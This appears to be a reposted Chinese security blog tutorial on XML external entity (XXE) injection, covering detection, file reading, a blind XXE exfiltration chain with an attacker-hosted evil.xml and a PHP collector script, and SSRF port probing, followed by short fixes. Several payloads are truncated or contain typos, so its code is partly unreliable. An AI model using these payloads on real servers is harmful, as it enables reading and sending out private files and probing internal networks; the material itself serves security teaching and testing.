XXE漏洞总结

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

简介

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML百度是这样子的:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。

在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输

下面看一段简单的xml文档代码,其中‘username’,’password’,’address’被称为xml的元素

<?xml version=”1..0″?>

<student>

<useername>xxx</username>

<password>yyy</password>

<address>zzz</address>

</student>

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

XXE漏洞总结

这一段代码,其中entityex就是外部实体,我们可以通过这个参数来访问file://etc/passwd的内容, 因为我们web 服务器在解析xml 文档的过程中, 实体entityes 的值会直接被替换成file://etc/passwd。关键字’SYSTEM’会告诉XML解析器,’entityes’的实体值将会从后面的URL获取,也就是我们所替换的file:///etc/passwd文件,其实这个过程就是XML实体攻击过程。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

内部声明实体

<!ENTITY 实体名称 “实体的值”>

<!DOCTYPE ANY [<!ENTITY test “this is test”>]>

<!DOCTYPE 根元素 [<!ENTITY 实体名称 “实体的值”>]>

外部声明DTD

<!DOCTYPE 根元素 [元素声明]>

<!DOCTYPE ANY [<!ENTITY test SYSTEM “http://45.76.189.59:8888”>]>

<!ENTITY 实体名称 SYSTEM “URI”>

<!ENTITY test SYSTEM “http://45.76.189.59:8888”>

如何识别xml实体攻击漏洞?

burp抓包,然后,修改HTTP请求方法,修改Content­Type头部字段等等,查看返回包的响 应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

Accept: application/xml

XXE漏洞总结

(1) 检测XML是否会被解析:

<?xml version=”1.0″ encoding=”UTF‐8″?>

<!DOCTYPE ANY [

<!ENTITY test “this is test”>

]>

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test “this is tes

XXE漏洞总结

(2) 检测服务器是否支持外部实体:

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test SYSTEM “http

<user><username>&test;</username><password>2222222</password></user>

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE root [<!ENTITY % remote SYSTEM

自己linux服务器监听

XXE漏洞总结
XXE漏洞总结

使用dnslog

XXE漏洞总结
XXE漏洞总结

说明支持外部实体

利用

1.读取文件

能回显,就可以直接使用外部实体的方式进行攻击。

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test SYSTEM “file

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test SYSTEM “php:

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test SYSTEM “file

<user><username>&test;</username><password>2222222</password></user>

XXE漏洞总结

不能回显,毫无疑问,使用Blind XXE攻击方法。

【这是往目标插入的payload】

<?xml version=”1.0″?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM “file:///etc/passwd”>

<!ENTITY % remote SYSTEM “http://自己服务器的IP/evil.xml”>

%remote;

%all; 

]> 

<root>&send;</root>

或者   

<?xml version=”1.0″?> 

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM “php://filter/read=convert.base64‐encode/resource=file:/ 

<!ENTITY % remote SYSTEM “http://自己服务器的IP/evil.xml”>

%remote;

%all; 

]>

<user><username>&send;</username><password>admin</password></user>

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

【evil.xml】 

 <!ENTITY % all “<!ENTITY send SYSTEM ‘http://自己服务器的IP/2.php?file=%file;’>” 

【2.php】 

 <?php 

 file_put_contents(“2.txt”, $_GET[‘file’]) ; 

 ?>

XXE漏洞总结
XXE漏洞总结

 

2.SSRF探测端口和文件:

(1)通过响应时间判断是否开放。

<?xml version=”1.0″ encoding=”UTF‐8″?><!DOCTYPE ANY [<!ENTITY test SYSTEM “http://***”>]

1 开放端口:快速响应

2 未开放端口:等待超时

1 开放端口:HTTP request failed!

2 未开放端口:failed to open stream

开放:HTTP request failed!

XXE漏洞总结

不开放:failed to open stream

XXE漏洞总结

(2)探测文件是否存在

不存在

XXE漏洞总结

存在

XXE漏洞总结

挖掘:

在上传点插入xxe代码,无视后缀。比如jpg,xml等等后缀都行,只要文件内容为xxe即可。案例:xxe_to_shell.

修复建议

1.使用开发语言提供的禁用外部实体的方法,将外部实体、参数实体和内联DTD 都设置为false

2.过滤用户提交的XML数据

未经允许不得转载:PHP100中文网 - 中国第一档PHP资源分享门户 » XXE漏洞总结

赞 (0) 打赏

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏